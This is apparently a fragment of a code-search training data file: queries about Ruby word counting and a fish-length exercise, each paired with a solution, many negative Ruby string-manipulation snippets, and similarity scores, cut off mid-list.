"0.5558869",
"0.5557312",
"0.55562973",
"0.5553989",
"0.5548987",
"0.554763",
"0.5533565",
"0.55276316",
"0.55139935",
"0.55072653",
"0.55058044",
"0.55046827",
"0.547942",
"0.54507524",
"0.54476887",
"0.54402447",
"0.5433925",
"0.54213965",
"0.5416297",
"0.5410549",
"0.539866",
"0.53867316",
"0.53867316",
"0.538542",
"0.53731734",
"0.53731734",
"0.5368325",
"0.5367281",
"0.5356671",
"0.5355487",
"0.5353577",
"0.5352261",
"0.53396547",
"0.53357995",
"0.52976555",
"0.52904946",
"0.52904946",
"0.5286683",
"0.5270668",
"0.52641577",
"0.5263103",
"0.5259125",
"0.52466744",
"0.5240608",
"0.5228816",
"0.52276707",
"0.5221815",
"0.5218854",
"0.52140105",
"0.52111596",
"0.5200715",
"0.5200515",
"0.5193658",
"0.519025",
"0.5186959",
"0.5179956",
"0.51741195",
"0.51640046",
"0.5161949",
"0.51569027",
"0.5150303",
"0.51499885",
"0.5145223",
"0.51442",
"0.51405203",
"0.5137495",
"0.5137398",
"0.513363",
"0.5127606",
"0.51230615",
"0.5104258",
"0.5087296",
"0.5082622",
"0.508238",
"0.50797164",
"0.5077558",
"0.5076947",
"0.5076896",
"0.50735694",
"0.5072944"
] |
0.7013423
|
0
|
The code should then output the number of times words are used. Example: If the words 'hi hi Hi hello 1 1' are input, the result should be: hi 2 Hi 1 hello 1 1 2 Test your solution by running 12_count_words
|
def count_words
array = []
hash = Hash.new(0)
input = gets.chomp
input.downcase!
array = input.split
array.each do |word|
hash[word] += 1
end
hash.each do |a,b|
puts "#{a} #{b}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def word_count(text)\n\tnew_text = text.split(\" \") #-->Use text.split to turn text into an array that breaks(splits) at each space.\n\t\n \tcounter = Hash.new(0) #-->Next create an empty hash for your results with count = Hash.new (0)\n\n \tnew_text.each {|word| counter[word] += 1} #-->Use a method that will take each word in the array\n\n \tputs counter #-->This will give us our results printed on the screen\nend",
"def word_count\n words = @input.downcase.scan(/\\b[\\w']+\\b/)\n\n words.each_with_object(Hash.new(0)) do |word, result|\n result[word] += 1\n end\n end",
"def count_words\n string = self.squish.downcase.gsub(/[^a-z0-9\\s]/i, '')\n string = string.split(\" \")\n words = Hash.new(0)\n string.each { |x|\n words[x] +=1;\n }\n return words\n end",
"def count_words(string)\n arg = string.downcase.gsub(/[^a-z ]/,\"\")\n words = arg.split(/\\s+/)\n result = Hash.new\n words.each { |word| \n if result[word].nil? then result[word] = 1 else result[word] += 1 end\n }\n result\nend",
"def word_counts(text)\n\tword_list = text.split(WORD_SPLIT)\n\tcounts = Hash.new(0)\n\tword_list.each { |word| counts[word] += 1 }\n\treturn counts\nend",
"def count_words\n Hash.new(0).tap do |word_counts|\n words.each { |word| word_counts[word] += 1 }\n @words_counted = true\n end\n end",
"def count_words(input)\r\n words = input.split(\" \") # breaks the string into an array of strings, separated by spaces.\r\n wordcounter = {} # initialise empty hash\r\n\r\n for word in words # iterate over each word in our array\r\n if wordcounter[word] == nil # if there's no entry in the hash...\r\n wordcounter[word] = 1 # make one\r\n else\r\n wordcounter[word] += 1 # if there already is one, increment it\r\n end\r\n end\r\n\r\n # iterate over the hash, printing each key (word) and value (count of that word) on a line.\r\n wordcounter.each do |word, count| \r\n puts \"#{word} #{count}\"\r\n end\r\nend",
"def frequency_of_each_word(text)\n words = text.split(\" \")\n frequency = Hash.new(0)\n words.each { |word| frequency[word] += 1 }\n frequency\nend",
"def count_words\n # clean up string\n str = self.downcase.gsub(/[^a-z0-9\\s]/, '') # only keep letters, numbers, and whitespace\n str = str.gsub(/\\s+/m, ' ') # remove excess whitespace\n\n # add each word to the hash\n hash = Hash.new(0)\n str.split.each do |word|\n hash[word] += 1\n end\n\n hash\n end",
"def count_words(str)\n counts = {} #counts number of elements\n str.downcase.scan(/\\b[a-z]+/).each do |word| #downcase/seperate words for word do\n if counts[word].nil? then #condition if word exists\n counts[word] = 1 #word exists assign 1\n else\n counts[word] += 1 #object summation\n end\n end\n counts #calls counts\nend",
"def word_count(text)\n return text.split.count\nend",
"def word_counter(sentence)\n return sentence.split(' ').length #makes it an array, .length counts items\nend",
"def count_words(string)\r\n texts = string.split(\" \").map(&:downcase)\r\n result = texts.each_with_object(Hash.new (0)) {|item, hash| hash[item] += 1}\r\n result.each do |key, value|\r\n puts \"#{key} #{value}\"\r\nend\r\nend",
"def count_words_caseins(input)\r\n # the only difference from the previous method is that we downcase the user input here\r\n words = input.downcase.split(\" \")\r\n wordcounter = {}\r\n for word in words\r\n if wordcounter[word] == nil\r\n wordcounter[word] = 1\r\n else\r\n wordcounter[word] += 1\r\n end\r\n end\r\n wordcounter.each do |word, count|\r\n puts \"#{word} #{count}\"\r\n end\r\nend",
"def each_word_count(text)\n word_counts = {}\n normalize(text).each do |word|\n word_counts[word] = 0 if !word_counts[word]\n word_counts[word] += 1\n end\n word_counts\nend",
"def find_frequency(sentence, word)\n count = 0\n wordarray=sentence.downcase.split(\" \")\n wordarray.each do |wordcurrent|\n count = (count +1) if word.downcase == wordcurrent\n end\n return count\nend",
"def word_count(statement)\n words = {}\n wordsArr = statement.split(\" \")\n\n wordsArr.each do |word_key|\n words[word_key] ||= 0\n words[word_key] += 1\n end\n words\nend",
"def word_count(string)\n words = string.split(\" \")\n count = Hash.new(0)\n words.each { |word| count[word] += 1}\n count\nend",
"def find_frequency(sentence, word)\n calc_count = 0\n sentence.split(' ').each_with_object([]) do |i, j|\n calc_count += 1 if i.downcase == word\n end\n return calc_count\nend",
"def count_words(string) \n words_hash = Hash.new(0)\n string.downcase.gsub(/\\b/, '').split().each do |i| \n words_hash[i] += 1 \n end\n words_hash \nend",
"def count_words(input)\r\n result = Hash.new(0)\r\n input.split(\" \").each do |word|\r\n result[word.downcase] += 1\r\n \r\n end\r\n word_count(result)\r\n return result\r\nend",
"def count_words(string)\n return nil if string.nil?\n\n w = string.split(/\\b/).map {|x| x.gsub(/[\\W]+/, '').downcase}.reject {|x| x.empty?}\n Hash[w.map {|x| [x, w.select {|y| x == y}.size]}]\nend",
"def word_count\n\t\tputs \"There are #{@dictionary_analyzer.word_count(@dictionary)} words in this dictionary.\"\n\tend",
"def find_frequency(sentence, word)\n ci_sentence = sentence.downcase\n words = ci_sentence.split(\" \")\n words.count(word)\nend",
"def word_count\n words.size\n end",
"def word_count\n words.size\n end",
"def count_words(words)\r\n word_hash = Hash.new(0)\r\n words.downcase.split.each do |word|\r\n word_hash[word] += 1\r\n end\r\n return word_hash\r\n\r\n\r\nend",
"def word_count\n #need to modify regex to account for apostrophes\n text = (@text.gsub!(/\\W+|\\d/,' ').split(\" \"))\n word_count = Hash.new(0)\n text.each do |word|\n word = word.downcase\n word_count[word] +=1\n end\n word_count\n end",
"def count_words_in(the_string)\n the_words = the_string.split\n the_words.size\nend",
"def count_words(string)\r\n string.scan(/\\w+/).each_with_object(Hash.new(0)){|w,h| h[w.downcase]+=1}\r\n end",
"def count_words(phrase)\r\n words_hash = Hash.new(0)\r\n phrase.split(\" \").each do |word|\r\n words_hash[word.downcase]+=1\r\n end\r\n print_word_count(words_hash)\r\n return words_hash\r\nend",
"def count_words(string)\n#names=string.downcase.split(/\\W+/)\n#puts names\ncounts = Hash.new(0)\nstring.downcase.split(/\\W+/).each { |name| counts[name] += 1 }\nputs counts\nend",
"def word_count(string)\n words = string.split\n count = Hash.new(0)\n words.each { |word| count[word] += 1 }\n count\nend",
"def word_count\n word_map = {}\n words.each {|word| word_map[word] = words.count(word) }\n word_map\n end",
"def find_frequency(sentence, word)\n array = sentence.downcase.split(\" \")\n array.count(word)\nend",
"def count_words(str)\n\tcounts = {}\n\tstr.downcase.scan(/\\b[a-z]+/).each do |word|#word is the index here\n\t\tif counts[word].nil? then\n\t\t\tcounts[word]=1\n\t\telse\n\t\t\tcounts[word] +=1\n\t\tend\n\tend\n\tputs counts\nend",
"def frequency(word)\n arr = $words.select do |sample|\n word == sample\n end\n arr.size\nend",
"def wordCounter(inputString)\n inputString.scan(/\\w+/).length\nend",
"def word_count(words)\n num = 0\n words.each do |word|\n unless word.include?('*') || word.include?('#')\n num += 1\n end\n end\n num\nend",
"def count_words(s)\n\ts = s.downcase\n\ts.gsub!(/\\W+/,\" \")\n\ts = s.split(\" \")\n\tfreqs = Hash.new(0)\n\ts.each{ |word| freqs[word] += 1 }\n\treturn freqs\nend",
"def count_words(string)\n string.gsub!(/(\\W|\\d)/, \" \")\n string.gsub!(/\\s+/, \" \")\n puts(string)\n\n map = Hash.new\n stringAsArray = string.split(/ /)\n stringAsArray.each do |word|\n if map[word] == nil\n map[word] = 1\n else\n temp = map[word]\n map[word] = temp+1\n end\nend\nputs map\nend",
"def word_count(str)\n str_splt= str.split\n word_h = {}\n str_splt.each {|word| p word_h[word]; word_h[word.to_sym] = str_splt.count(word) }\n\n word_h\n end",
"def word_count\n weighted(:count, :word).to_i\n end",
"def word_count(phrase)\n result = Hash.new(0)\n phrase.split(\" \").each { |word| result[word] += 1 }\n result\nend",
"def word_count\n return words.size\n end",
"def word_number\n text.split.size\n end",
"def count_frequency(word_list, counts)\r\n ignore_list = %w[it its she her he him his they them their i me my you your we us our any]\r\n ignore_list += %w[is be been are was were has have had will would can could do did]\r\n ignore_list += %w[what when where which who whom there here that this these]\r\n ignore_list += %w[for by from at with on to of in into out up down upon back all also about]\r\n ignore_list += %w[ms mrs mr miss no not most more than one an the before after yet so if and as but or then]\r\n ignore_list += ('a'..'z').to_a\r\n word_list = word_list - ignore_list\r\n for word in word_list\r\n counts[word] += 1\r\n end\r\n counts\r\n\r\nend",
"def long_word_count(text)\n count = 0\n text.split(\" \").each do |element|\n if element.split(\"\").length > 7\n count += 1\n end\n end\n return count\n \nend",
"def count_words(string)\n hash = Hash.new(0)\n string.scan(/\\w+/).each {|t| hash[t.downcase] = hash[t.downcase] + 1}\n hash\nend",
"def word_count(text, unique: false)\n if unique == false\n split_normalise(text).split.count\n else\n unique_words(text).count\n end\nend",
"def word_freq(text)\n frequency = {}\n unique_words(text).each do |word|\n frequency[word] = 0\n end\n split_normalise(text).each do |word|\n frequency[word] += 1\n end\n frequency\nend",
"def word_frequency\n @word_use = Hash.new(0)\n words.each { |w| @word_use[w] += 1 }\n @word_use\n end",
"def word_count(str)\n count = {}\n str.split(' ').each do |word|\n word = word.downcase.gsub(/[^a-z]/, '')\n if count[word].nil?\n count[word] = 1\n else\n count[word] += 1\n end\n end\n count\n end",
"def count_words(string)\n string = string.downcase\n split_string = string.split(' ')\n \n word_hash = Hash.new\n word_hash.default = nil\n\n split_string.each do |s|\n s = s.gsub(/[^a-z]/, '')\n if word_hash[s]\n word_hash[s] = word_hash[s] + 1 \n else\n word_hash[s] = 1\n end\n end\n puts word_hash\nend",
"def long_word_count(text)\n #\n # your code goes here\n #\n counter = 0\n text.split.each do |word|\n counter += 1 if word.length > 7\n end\n\n counter\nend",
"def frequency\n counts = Hash.new(0)\n self.words.each { |word| counts[word] += 1 }\n counts\n end",
"def count_words(string)\n # your code here\n ret = {}\n s = string.downcase\n s.split(/\\b/).each do |w|\n if w =~ /\\w/\n if ret[w]\n ret[w] += 1\n else\n ret[w] = 1\n end\n end\n end\n return ret\nend",
"def word_count\n result = { }\n words = @input.downcase.split(/[,\\s]/)\n words.each do |word|\n next if word.empty?\n word.gsub!(/\\W/, '') unless word.include?(\"'t\")\n\n if !result.key?(word)\n # puts \"new key: #{word}\"\n result[word] = 1\n else\n # puts \"Accumulating on #{word}: #{result[word]} + 1\n result[word] += 1\n end\n end\n result\n end",
"def count_occurrences(words)\n hash ={}\n words.each do |word|\n if hash.has_key?(word)\n hash[word] += 1\n else\n hash[word] = 1\n end\n end\n \n hash.each {|k, v| puts \"#{k} => #{v}\"}\nend",
"def word_counter\n \"This is a string\".split.size\nend",
"def word_sizes(text)\n word_size = Hash.new(0)\n words = text.split\n words.each { |word| word_size[word.size] += 1 }\n word_size\nend",
"def word_frequency(words)\n frequencies = Hash.new(0)\n words.each do |word|\n frequencies[word] += 1\n end\n frequencies\nend",
"def WordCount(str)\n\twords = str.split(\" \").count\n\treturn words\nend",
"def count_words(string)\n string.to_s.downcase!\n arr = string.to_s.split(/\\b/).select{|i| i =~ /\\w/}\n h = Hash.new\n arr.uniq.each{|i| h[i] = arr.count(i)}\n return h\nend",
"def word_count(string)\n hash = {}\n splitstring = string.split(\" \")\n splitstring.each {|element| element.downcase.gsub(/[^a-z]/i, \"\")}\n p splitstring\n splitstring.each{|element| if hash[element].nil?\n hash[element]=1\n else\n hash[element]+=1\n end}\n p hash\n return hash\nend",
"def word_sizes(str)\n word_count = Hash.new(0)\n\n str.split(' ').each do |word|\n word_count[word.size] += 1\n end\n\n word_count\n\nend",
"def word_count(sentence)\n arr = sentence.split(\" \")\n result = Hash.new(0) # add default value as 0 for each new keys\n arr.each {|word| result[word] += 1 } # increment key 0 -> 1 -> 2..\n result # last expression of a method is returned\nend",
"def WordCount(str)\n str.split(\" \").count\nend",
"def find_frequency(sentence, word) \nsentence.downcase.split.count(word.downcase)\nend",
"def find_frequency(sentence, word)\n sentence.split.map { |w| w.downcase }.count(word.downcase)\nend",
"def word_count(string)\n words=string.split()\n unique=words.uniq\n amount={}\n unique.each do |word|\n amount[word.to_sym]=words.count(word)\n end\n p amount\nend",
"def WordCount(str)\n\tarr = str.split(\" \").count\nend",
"def word_sizes(sentence)\n words = Hash.new(0)\n sentence.split.each {|x| words[x.count(\"A-Za-z\")] += 1}\n words\nend",
"def word_sizes(words)\n count_hash = Hash.new(0)\n words.split.each do |word|\n clean_word = word.delete('^a-zA-Z')\n count_hash[clean_word.size] += 1\n end\n count_hash\nend",
"def count_occurance(text='')\n raise \"input must be instance of String\" unless text.is_a?(String)\n\n text_chunks = text.downcase.gsub(ONE_OR_TWO_WORDS_RE, '').gsub(NON_ALPHANUMERIC_AND_NON_DOT_RE, ' ').gsub(@stopwords.to_re, '').gsub(/\\./, '').split\n text_chunks.inject(Hash.new(0)) do |container, word|\n container[word] += 1; container\n end\n end",
"def word_sizes(str)\n word_counts = Hash.new(0)\n str.gsub(/[^a-zA-Z ]/, '').split.each { |word| word_counts[word.length] += 1 }\n word_counts\nend",
"def count_words(string)\n words = string.downcase.split(/[^a-zA-Z]/).reject{|e| e.empty?}\n wf = Hash.new(0)\n words.each { |word| wf[word] += 1 }\n return wf\nend",
"def count_words(str)\n\n frase = str.gsub!(/\\W|\\_\\d/,\" \").split(\" \")\n frase.each do |palabra|\n\n veces = frase.count(palabra)\n hash[palabra] = veces\n\n end\n hash\n\n\n\n end",
"def word_count\n result = {}\n words.each do |word|\n result[word] = words.count(word)\n end\n result # return result\n end",
"def words_count\n get_at_words_count + \n get_ata_words_count + \n get_noun_words_count + \n get_adjective_words_count\n end",
"def word_counter (string)\n array = string.split\n array.length\nend",
"def count_words(string)\n\tputs string\n\tstring.downcase!\n\tstring = string.gsub(/\\W+/, ' ')\n\tstring = string.split(/\\b/)\n\twordhash = Hash.new\n\tstring.each do |word| \n\t\tif wordhash.has_key?(word)\n\t\t\twordhash[word] += 1\n\t\telsif word === \" \"\n\t\t\n\t\telse\n\t\t\twordhash[word] = 1\n\t\tend\n\tend\n\tputs wordhash\nend",
"def word_sizes(str)\n counter = Hash.new(0)\n str.split.each do |word|\n counter[word.gsub(/\\W/,'').length] += 1\n end \n counter\nend",
"def test_String_002_wordcount\n \n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_String_002_wordcount\")\n puts2(\"#######################\")\n \n \n sStringVariable = \"Doesn't count contractions or hyphens as two-words\"\n aArrayofStrings = [\n \" Multiple Whitespace is \\tignored. New line\\n also. \\n123-456 \\n a+b i:2 1/2 \",\n \"#{sStringVariable}\",\n \"THE END\"\n ]\n \n aArrayofStrings.each do | sString |\n puts2(\"\\nString: #{sString}\")\n puts2(\"Word count: #{sString.wc.to_s}\")\n \n end\n \n end",
"def word_count(text, unique: false)\n unique ? unique_words(text).count : normalize(text).count\nend",
"def analyze_words(words)\n pos_count = 0\n neg_count = 0\n neu_count = 0\n search_dictionary(words).each do |w|\n case w\n when 1\n pos_count +=1\n when -1\n neg_count +=1\n when 0\n neu_count +=1\n end\n end\n {positive: pos_count, negative: neg_count, neutral: neu_count}\n end",
"def find_frequency(sentence, word)\n\tsentence.downcase.split.count(word.downcase)\n\nend",
"def find_frequency(sentence, word)\n word = word.downcase\n sentence.downcase.split.count(word)\nend",
"def count_words(str)\n\tstr.gsub!(/[\\b[^a-zA-Z ]]/, '')\n\tarr = str.downcase.split\n\thash = Hash.new(0)\n\tarr.each { |name| hash[name] += 1 }\n\treturn hash\nend",
"def get_word(word)\n #pattern [\\w']+ matches words and single quotes. Scan returns array based on the pattern given\n words_arr = word.downcase.scan(/[\\w']+/)\n words_count ={}\n words_arr.each do |wrd|\n if words_count.has_key?(wrd)\n words_count[wrd] +=1\n else\n words_count[wrd] =1\n end\n end\n words_count\nend",
"def count_words(string)\n\twords = Hash.new\n\t\n\tstring.downcase.scan(/[\\w]+\\b/) { |word|\n\t\tif !words.has_key?(word)\n\t\t\twords[word] = 0\n\t\tend\n\t\t\n\t\twords[word] += 1\n\t}\n\t\n\treturn words\nend",
"def char_word_counter(sentence)\n words_array = sentence.split(' ')\n how_many_words = words_array.length\n how_many_chars = sentence.gsub(/\\s+/, \"\").length\n\n \"This sentence has #{how_many_words} words & #{how_many_chars} characters\"\nend",
"def find_frequency(sentence, word)\n sentence.downcase.split.count(word.downcase)\nend",
"def find_frequency(sentence, word)\n sentence.downcase.split.count(word.downcase)\nend",
"def character_count(words)\n words = words.split(' ')\n words.reduce(0) { |sum, val| sum + val.length }\nend",
"def word_sizes2(string)\n frequency = Hash.new(0) #set the default value to 0\n string.split.each do |word| \n frequency[word.length] += 1\n end\n frequency\nend",
"def word_count(book_text)\n count = 0\n book_text.split(/[^-a-zA-Z']/).each do |word|\n count += 1 if word.length > 0\n # DEBUG puts count.to_s + ': \"' + word + '\"'\n end\n return count\nend",
"def word_count(string)\n string_arr = string.split \n string_arr.size \nend",
"def count_words(count_string)\n\t\tcount_string = count_string.to_s unless count_string.is_a? String\n\t\tunless count_string.nil?\n\t\t\tarray_elem = count_string.split(/\\s+/)\n\t\t\t@total_words += array_elem.size\n\t\tend\n\tend",
"def long_word_count(text)\n text.split(' ').count{|word| word.length > 7}\nend"
] |
[
"0.8201406",
"0.81520027",
"0.8064122",
"0.7935687",
"0.791195",
"0.7898201",
"0.78937227",
"0.7777258",
"0.77400357",
"0.7731667",
"0.7726287",
"0.771748",
"0.7697728",
"0.7670306",
"0.7669182",
"0.7657329",
"0.7656496",
"0.765543",
"0.76536214",
"0.7618576",
"0.76081055",
"0.7601293",
"0.7598717",
"0.7598615",
"0.7577003",
"0.7577003",
"0.7576572",
"0.7559155",
"0.75575256",
"0.75537044",
"0.7551725",
"0.75406617",
"0.753444",
"0.7533143",
"0.75262135",
"0.7525023",
"0.75237685",
"0.7521217",
"0.7515017",
"0.7514433",
"0.7512636",
"0.7506911",
"0.7501048",
"0.7497716",
"0.74823636",
"0.7481858",
"0.74761206",
"0.74650824",
"0.74650073",
"0.74530244",
"0.74493533",
"0.74488163",
"0.74465805",
"0.7445675",
"0.7438137",
"0.7430426",
"0.7420284",
"0.7420031",
"0.7414249",
"0.74048674",
"0.7398297",
"0.7394384",
"0.7388966",
"0.7388961",
"0.73873436",
"0.737509",
"0.7372603",
"0.736432",
"0.73602",
"0.734938",
"0.73463213",
"0.7345862",
"0.7344385",
"0.73430717",
"0.7335273",
"0.7329152",
"0.7327917",
"0.732293",
"0.73152024",
"0.7310809",
"0.730986",
"0.73083913",
"0.730227",
"0.7300782",
"0.72985065",
"0.72939414",
"0.7286234",
"0.72824466",
"0.72750294",
"0.7271601",
"0.7270845",
"0.72618634",
"0.72433317",
"0.72433317",
"0.7239746",
"0.72381794",
"0.72365606",
"0.7232888",
"0.72327405",
"0.7208668"
] |
0.7475898
|
47
|
=> "fiiiissshhhhhh" Sluggish Octo
|
def find_fish_lengths_1
longest = false
(0...Fish.length - 1).each do |i|
(0..Fish.length - 1).each do |i2|
Fish[i] = first_fish
Fish[i2] = next_fish
longest = Fish[i] if Fish[i].length > fish[i2].length
end
end
longest
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def obfuscate(s)\n\t\ts.tr(\"A-Ma-mN-Zn-z\",\"N-Zn-zA-Ma-m\")\n\tend",
"def smash(string)\n\tstring.gsub(/[^a-z]/i, '').chars.join ' '\nend",
"def croon(str)\n str.split('').join('-')\nend",
"def encode(string)\n string.split(' ').map do |word|\n word.chars.map { |char| MORSE[char] }.join('|')\n end.join(' ')\nend",
"def make_string(s)\n s.split.map(&:chr).join\nend",
"def rubyify(sentence)\n sentence.downcase.gsub(\" \", \"_\")\nend",
"def heggeleggleggo(word)\n pp word.gsub /[^ aeiou]/i, '\\0egg'\nend",
"def shout(str); str.upcase end",
"def string_gnirts(word)\n word.reverse\nend",
"def escape(s); s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n){'%'+$1.unpack('H2'*$1.size).join('%').upcase}.tr(' ', '+') end",
"def croon str\n str.gsub(/\" \"/, \"-\")\nend",
"def to_ascii!; replace(to_ascii); end",
"def make_string(s)\n s.split.map { |str| str.chars.first}.join\nend",
"def zen2n(s)\n '0123456789'.index(s)\n end",
"def encode(input_string)\n return input_string.tr(\"a-z\", \"n-za-m\")\nend",
"def norm(s)\n s.gsub(/ /, '-').underscore\nend",
"def crunch(string)\n string.gsub(/([a-z0-9])\\1+/, \"\\\\1\")\nend",
"def solution(string)\n string.gsub(/([A-Z])/, ' \\1')\nend",
"def solution(string)\n string.gsub(/([A-Z])/, ' \\1')\nend",
"def replace(s)\n s.tr(\"aeiouAEIOU'\",\"!\")\nend",
"def urlize str, len\n (0..str.length-1).each {|i| \n if str[i] == ' ' \n j = str.length - 1\n while j > i + 2\n str[j] = str[j-2];\n j -= 1\n end\n str[i] = '%'\n str[i+1] = '2'\n str[i+2] = '0'\n end\n }\n str\nend",
"def name_reverse(str)\n str = str.gsub(\"p:\",\"\")\n str = str.gsub(\"i:\",\"\")\n str = str.gsub(\"v:\",\"\")\n str = str.gsub(\"r:\",\"\")\n str = str.gsub(\"n:\",\"\")\n str = str.gsub(\"t:\",\"\")\n str = str.gsub(\"chiptop.chip.\",\"\")\n str = str.gsub(\".\",\"\\/\") \n return str\n end",
"def energetic_encoding(str, hash)\n new_str = []\n arr = str.split(' ')\n\n arr.each do |word|\n new_word = ''\n word.each_char do |char|\n if hash.has_key?(char)\n new_word += hash[char]\n else\n new_word += '?'\n end\n end\n new_str << new_word\n end\n\n new_str.join(' ')\nend",
"def rot13(string)\n string.tr(\"A-Za-z\", \"N-ZA-Mn-za-m\")\nend",
"def reencode_string(input); end",
"def s_th(string)\r\n th_ify = string.chars.map { |x| x == \"s\" ? 'th' : x }\r\n return th_ify.join\r\nend",
"def solution(str)\n str.gsub(/([A-Z])/, ' \\1')\nend",
"def remove_char(s)\r\n return s[1..-2]\r\n end",
"def rot13(n)\n return n.tr(\"abcdefghijklmnopqrstuvwxyz\",\"nopqrstuvwxyzabcdefghijklm\")\nend",
"def rubyify(sentence)\n sentence.downcase.gsub(\" \", \"_\").delete(\".?\")\nend",
"def crazy_strings(first_word, second_word)\nputs \"#{first_word} #{second_word.gsub(\"s\",\"z\").swapcase}!\"\nend",
"def whisper(phrase)\n return \"#{phrase.downcase}...shhhhhhh\"\nend",
"def rev_smash(sentence) \r\n sentence= sentence.split.map { |s| s }.reverse \r\n return sentence.join(' ') \r\nend",
"def formalize(string)\n string.downcase.gsub(/'\"/, '').gsub(/[^a-z0-9_]/, '-').squeeze('-')[0..250].sub(/-$/, '')\n end",
"def pig_it(str)\n str.gsub(/(\\w)(\\w+)*/, '\\2\\1ay')\nend",
"def pirates_say_arrrrrrrrr(string)\n newstring = ''\n string.downcase!\n string.length.times do |index|\n newstring += string[index + 1] if char_is_r(string, index) && next_char_not_nil(string, index)\n end\n newstring\nend",
"def pig_it(str)\r\n str.split.map { |w| w =~ /[a-z]/i ? w[1..-1] + w[0] + 'ay' : w }.join(' ')\r\nend",
"def reverse(string)\n reverse_word = \"\"\n string.each_char { |chr| reverse_word.prepend(chr) }\n reverse_word\nend",
"def morse_encode(str)\n hash={}\n \n hash[\"a\"]=\"._ \"\n hash[\"b\"]=\"_... \"\n hash[\"c\"]=\"_._. \"\n hash[\"d\"]=\"_.. \"\n hash[\"e\"]=\". \"\n hash[\"f\"]=\".._. \"\n hash[\"g\"]=\"__. \"\n hash[\"h\"]=\".... \"\n hash[\"i\"]=\".. \"\n hash[\"j\"]=\".___ \"\n hash[\"k\"]=\"_._ \"\n hash[\"l\"]=\"._.. \"\n hash[\"m\"]=\"__ \"\n hash[\"n\"]=\"_. \"\n hash[\"o\"]=\"___ \"\n hash[\"p\"]=\".__. \"\n hash[\"q\"]=\"__._ \"\n hash[\"r\"]=\"._. \"\n hash[\"s\"]=\"... \"\n hash[\"t\"]=\"_ \"\n hash[\"u\"]=\".._ \"\n hash[\"v\"]=\"..._ \"\n hash[\"w\"]=\".__ \"\n hash[\"x\"]=\"_.._ \"\n hash[\"y\"]=\"_.__ \"\n hash[\"z\"]=\"__.. \"\n \n hash[\" \"]=\" \"\n \n hash[\"A\"]=\"._ \"\n hash[\"B\"]=\"_... \"\n hash[\"C\"]=\"_._. \"\n hash[\"D\"]=\"_.. \"\n hash[\"E\"]=\". \"\n hash[\"F\"]=\".._. \"\n hash[\"G\"]=\"__. \"\n hash[\"H\"]=\".... \"\n hash[\"I\"]=\".. \"\n hash[\"J\"]=\".___ \"\n hash[\"K\"]=\"_._ \"\n hash[\"L\"]=\"._.. \"\n hash[\"M\"]=\"__ \"\n hash[\"N\"]=\"_. \"\n hash[\"O\"]=\"___ \"\n hash[\"P\"]=\".__. \"\n hash[\"Q\"]=\"__._ \"\n hash[\"R\"]=\"._. \"\n hash[\"S\"]=\"... \"\n hash[\"T\"]=\"_ \"\n hash[\"U\"]=\".._ \"\n hash[\"V\"]=\"..._ \"\n hash[\"W\"]=\".__ \"\n hash[\"X\"]=\"_.._ \"\n hash[\"Y\"]=\"_.__ \"\n hash[\"Z\"]=\"__.. \"\n \n output=\"\"\n f=0\n while f<str.length\n output+=hash[str[f]]\n f+=1\n end\n \n \n return output\n \n \nend",
"def spacify(str)\n # str.chars.map { |c| c += ' '}.join.rstrip\n str.gsub(/\\w/) {|s| s + ' '}.rstrip\nend",
"def to_s()\n str = \"\"\n @ingame_word.each do |letter|\n if(letter == \" \")\n str << \"_\"\n else\n str << letter\n end\n str << \" \"\n end\n return str\n end",
"def remove_char(s)\n s.chop.reverse.chop.reverse\nend",
"def remove_char(s)\n s[1..-2]\nend",
"def reverse_word(word)\n new_word = []\n word.chars.each do |chr|\n new_word.unshift(chr)\n end\n new_word.join(\"\")\n\nend",
"def tobealphanum(obj)\n\t\tobj.to_s.gsub(/\\W/,'')\n\tend",
"def spell_out (string)\n string.downcase.split(//).join(\"-\")\nend",
"def constantize(string)\n return string.downcase.gsub(/[^a-z]/i, '') \n end",
"def shout(phrase)\n return \"#{phrase.upcase} !!!!\"\n #return \"#{phrase}!!!!\".upcase\nend",
"def jekyll_sluggify( title )\n\t\t\t\t\tbegin\n\t\t\t\t\t\trequire 'unidecode'\n\t\t\t\t\t\ttitle = title.to_ascii\n\t\t\t\t\trescue LoadError\n\t\t\t\t\t\tSTDERR.puts \"Could not require 'unidecode'. If your post titles have non-ASCII characters, they may not match up to what Jekyll created for you.\"\n\t\t\t\t\t\tSTDERR.puts \"\\ttitle affected: #{title}\"\n\t\t\t\t\tend\n\t\t\t\t\treturn title.downcase.gsub(/[^0-9A-Za-z]+/, \" \").strip.gsub(\" \", \"-\")\n\t\t\t\tend",
"def wordz(string)\n if string.length > 10\n string.upcase\n else\n string\n end\nend",
"def sanitize(s)\n sani = \"\"\n s.each_byte do |c|\n if (c == 32 || (c >= 48 && c <= 57) || (c >= 65 && c <= 90) || (c >= 97 && c <= 122))\n sani += c.chr\n end\n end\n sani.gsub!(' ', '_')\n sani\nend",
"def pirates_say_arrrrrrrrr(string)\n new_string = ''\n string.downcase.chars.map.with_index{ |char, idx| new_string += string[idx+1].to_s if char == 'r' }\n new_string\nend",
"def generateSlug(text)\n text=text.to_s\n text=text.gsub(\"-\",\" \")\n text=text.split.join(\" \")\n return text.downcase.gsub(\" \", \"-\").to_s\nend",
"def pig_it text\n text.gsub(/(\\w)(\\w+)*/, '\\2\\1ay')\nend",
"def pig_it text\n text.gsub(/(\\w)(\\w+)*/, '\\2\\1ay')\nend",
"def s(string)\n string.to_s.gsub('[].:', '')\nend",
"def custom_squeeze(string)\n final=\"\"\n characters_array= string.split(\"\")\n characters_array.each_with_index do |char, index|\n unless index >= 0 && characters_array[index - 1] == char\n final += char\n end\n end\n p final\nend",
"def fix_string(input_string)\n input_string.delete! '_'\n input_string.delete! '-'\n input_string.delete! ' '\n input_string.downcase!\n return input_string.singularize\n end",
"def rot13(string)\n value = string.upcase\n puts value\n return value.tr(\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\",\"NOPQRSTUVWXYZABCDEFGHIKLM\")\nend",
"def remove_char(s)\n s[1...-1]\nend",
"def encrypt(str)\n str.tr!('a-z', 'b-za')\nend",
